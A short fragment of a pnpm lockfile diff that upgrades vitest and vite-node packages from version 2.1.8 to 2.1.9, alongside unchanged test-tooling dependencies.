'@vitest/utils': 2.1.8 + '@vitest/expect': 2.1.9 + '@vitest/mocker': 2.1.9(vite@5.4.11(@types/node@22.10.2)) + '@vitest/pretty-format': 2.1.9 + '@vitest/runner': 2.1.9 + '@vitest/snapshot': 2.1.9 + '@vitest/spy': 2.1.9 + '@vitest/utils': 2.1.9 chai: 5.1.2 debug: 4.4.0 expect-type: 1.1.0 @@ -5668,7 +5668,7 @@ snapshots: tinypool: 1.0.2 tinyrainbow: 1.2.0 vite: 5.4.11(@types/node@22.10.2) - vite-node: 2.1.8(@types/node@22.10.2) + vite-node: 2.1.9(@types/node@22.10.2) why-is-node-running: 2.3.0 optionalDependencies: '@types/node': 22.10.2